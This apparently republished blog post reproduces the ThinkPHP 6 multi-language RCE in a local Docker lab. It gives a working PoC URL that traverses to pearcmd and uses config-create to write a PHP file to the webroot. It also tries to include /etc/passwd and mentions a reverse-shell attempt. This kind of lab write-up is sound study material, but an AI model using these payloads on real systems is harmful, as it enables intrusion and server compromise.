我的编程空间,编程开发者的网络收藏夹
学习永远不晚

41_tp6的rce漏洞

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

41_tp6的rce漏洞

tp6的rce漏洞

一、环境搭建

使用docker本地搭建tp6环境

1. 下载镜像

docker pull vulfocus/thinkphp:6.0.12

在这里插入图片描述

2. 端口映射

启动镜像,并将80端口映射到8081端口,防止80端口冲突,运行容器

docker run -it -d -p 8081:80 1fc5d159922e

在这里插入图片描述

3. 打开网站

默认的网页目录是在public目录下,如果不加public目录无法打开网页

在这里插入图片描述

二、漏洞复现

poc

http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/+/var/www/html/a.php

使用burp抓包
在这里插入图片描述
然后访问a.php,成功解析php代码
在这里插入图片描述

三、原理分析

参考文章:
https://tttang.com/archive/1865/#toc_thinkphp-6
https://www.freebuf.com/articles/web/352154.html

首先,需要tp6开启多语言中间件,才能够实现文件包含
具体原理可以去看参考文章

http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../public/index.php

大致上分析是lang这个传的参数,如果不等于默认的参数 zh-cn ,就会调用某个方法,然后不断跟进方法,就可以看到最后会有个include 文件名,这里的文件名就是我们传的参数,因此会造成文件包含

但是直接使用文件包含的话,并没有看到什么效果
可以看到我们想文件包含/etc/passwd,并没有给出回显

http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../etc/passwd

在这里插入图片描述

如果说这是文件包含无回显利用的话,那么我传了个php反弹shell文件上传到了/var/www/html/目录下
在这里插入图片描述
在这里插入图片描述
如果说无回显,但是可以包含文件运行的话,那么就应该触发这个反弹shell,使msf成功连接会话才对,但是这里并未成功
在这里插入图片描述

这里也是我不理解的一个点
这个poc是文件包含了/usr/local/lib/php/pearcmd
/usr/local/lib/php/目录下存在pearcmd.php文件
利用这个文件里面的config-create方法来实现写入任意文件任意内容,造成RCE漏洞

但是这个文件既然被文件包含了,而且被运行了,那么为什么我上面试验的反弹shell没有被文件包含,并且执行,很奇怪
在这里插入图片描述
可以看到poc里面写着config-create方法
直接查看文件内容是找不到这个方法的,因为它里面还引入了很多文件
在这里插入图片描述
通过使用grep递归式的查询可以查找出来

grep -r -E 'config-create' ./php

可以看到是在Config.php文件里面有这个方法
在这里插入图片描述
将这个文件复制到本地

docker cp 0501da4d826b:/usr/local/lib/php/PEAR/Command/Config.php  ./Config.php

在这里插入图片描述
这里的数组是介绍config-create方法
在这里插入图片描述
真正实现config-create功能是在下面的doConfigCreate方法中,并且给出需要两个参数

这个方法就是实现创建文件的主要的方法,这也是为什么poc后面的格式是那样写的原因

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/+/var/www/html/a.php

在这里插入图片描述
除了上面的grep找config-create方法之外,还可以使用php pearcmd.php
也可以查看到config-create方法的介绍
config-create是用来创建默认文件的
在这里插入图片描述
在这里插入图片描述

来源地址:https://blog.csdn.net/qq_45301512/article/details/128501832

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

41_tp6的rce漏洞

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Apache log4j2-RCE漏洞怎么修复

修复Apache log4j2-RCE漏洞的方法如下:1. 更新log4j2版本:确保使用的是log4j2的最新版本,其中包含了修复漏洞的补丁。可以从Apache官方网站或Maven中央仓库下载最新版本的log4j2。2. 检查依赖库:检查
2023-08-18

Apache log4j2-RCE 漏洞复现及修复建议(CVE-2021-44228)

Apache log4j2是一款流行的Java日志库。CVE-2021-44228是log4j2中的一个远程代码执行(RCE)漏洞,该漏洞允许攻击者通过构造恶意的日志消息来执行任意的代码。漏洞复现:1. 下载并安装Apache log4j2
2023-08-17

风险的漏洞管理

漏洞管理与合规相辅相成。正如遵循特定监管标准有助于有效管理漏洞,有效管理漏洞也有助于规避可致违规的安全事件。但鉴于不同监管机构标准不同,既有效且合规的漏洞管理对不同组织机构而言可能意味着不同的东西。但有一个例外:风险!所有标准都强调了风险!
2023-06-05

FastJSON的0day漏洞的解决

本文主要介绍了FastJSON的0day漏洞的解决,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
2023-05-19

漏洞披露的双刃剑:操作系统安全漏洞的挑战

操作系统安全漏洞的披露是一把双刃剑,既能帮助提高安全性,又能为攻击者提供攻击目标。本文探讨了漏洞披露的挑战,重点关注操作系统补丁和安全更新的及时性、透明度和可访问性等方面,以及如何平衡安全性和信息可用性。
漏洞披露的双刃剑:操作系统安全漏洞的挑战
2024-02-29

Win10一周年更新首个安全更新补丁修复系统PDF库RCE关键漏洞

微软发布了最新的月度Windows 10安全更新补丁,五个安全更新补丁其中一项MS16-102修复了被标记为关键漏洞的“CVE-2016-3319”远程代码执编程客栈行(RCE)漏洞,该漏 洞利用了Windows 1
2023-05-21

漏洞风暴:操作系统安全漏洞的紧急修复措施

修复操作系统中的安全漏洞至关重要,漏洞风暴中的攻击手法不断更新,需要及时采取应急措施。本文介绍了几种常见的安全漏洞紧急修复方法,包括打补丁、配置更改和临时措施。
漏洞风暴:操作系统安全漏洞的紧急修复措施
2024-02-29

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录